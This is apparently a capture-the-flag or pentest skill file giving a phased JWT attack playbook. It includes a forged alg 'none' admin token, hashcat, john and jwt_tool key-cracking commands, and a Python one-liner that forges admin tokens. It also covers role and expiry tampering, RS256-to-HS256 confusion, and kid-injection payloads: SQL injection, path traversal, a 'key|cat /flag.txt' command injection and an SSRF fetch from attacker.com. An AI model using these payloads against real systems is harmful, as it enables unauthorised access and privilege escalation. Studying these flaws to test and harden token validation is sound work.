jwt-attack-methodology

JWT attack methodology

Phase 1: Obtain and decode the JWT

1. Log in to obtain the token (check the Set-Cookie response header and JSON fields in the response body)
2. Confirm the JWT format: three Base64 segments separated by . (Header.Payload.Signature)
3. Use the jwt_decode tool or echo '<part>' | base64 -d to decode manually:
   • Header: check the alg field (HS256/RS256/none),kid/jku/x5u parameters
   • Payload: check sub、role、admin、is_admin、user_id、exp and other Claims
   • Record the signing algorithm, expiration time, and key permission fields
4. Check whether the token is expired: convert theexp field to a Unix timestamp and compare with the current time
5. Compare JWTs of different users to find differences in permission-related fields

⛔ In-depth reference (must-read after discovering a JWT)

• RS256→HS256 algorithm confusion, kid injection (SQL/path traversal/command injection), jku/x5u replacement → references/jwt-advanced.md
• Complete weak-key cracking toolchain (hashcat/john/c-jwt-cracker/jwt_tool/Python + weak-key pattern table) → references/jwt-advanced.md

Phase 2: None Algorithm attack

1. Change alg in the Header to none, delete the Signature part (keep the trailing .）
2. Re-Base64-encode the Header and Payload, concatenate as header.payload.
3. Send the request and observe whether the server accepts an unsigned token
4. Try case variants to bypass:"none", "None", "NONE", "nOnE", "NoNe"
5. Some libraries only bypass when alg is exactly "none" , so test each one

原始: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
攻击: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Phase 3: Weak-key cracking (HS256/HS384/HS512 only)

1. Manually test common weak keys:secret, password, 123456, key, jwt_secret, changeme, ""(empty string)
2. Use hashcat for offline cracking:hashcat -m 16500 jwt.txt wordlist.txt
3. Use john:john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
4. Lightweight tool c-jwt-cracker:./jwtcrack <token>(pure brute force, suitable for short keys)
5. jwt_tool all-in-one tool:python3 jwt_tool.py <token> -C -d wordlist.txt
6. Forge a token once the key is known:

import jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))

→ Complete cracking toolchain and weak-key pattern table → references/jwt-advanced.md

Phase 4: Claims tampering

1. Decode the Payload and list all Claims fields
2. Modify permission-related fields:role:user→admin | is_admin:false→true | user_id:5→1
3. Try adding new fields:"admin":true、"groups":["admin"]
4. Modify exp to extend the token validity period (e.g., change to a 2099 timestamp)
5. Re-sign with the known key, replace the original token, and send the request
6. Compare responses to confirm whether privileges are elevated (check HTTP status codes, response content, accessible endpoints)

Phase 5: RS256→HS256 algorithm confusion

1. Confirm the server uses the RS256 (asymmetric) algorithm for signing
2. Obtain the public key: request /api/jwks、/.well-known/jwks.json、/oauth/jwks
3. Change alg in the Header from RS256 to HS256
4. Use the RS256 public key as the HS256 symmetric key to sign the token
5. Send the tampered token to exploit the logic flaw where the server uses the public key for HMAC verification → Detailed principles and scripts → references/jwt-advanced.md

Phase 6: kid parameter injection

1. Check whether the JWT Header contains the kid(Key ID) field
2. SQL injection:"kid":"1' UNION SELECT 'my-key' -- " → use my-key Signature
3. Path traversal:"kid":"../../dev/null" → Sign with empty file content as key
4. Command injection:"kid":"key|cat /flag.txt" → Some implementations execute shell commands
5. SSRF："kid":"http://attacker.com/key" → Fetch key from attacker server → Full payload → references/jwt-advanced.md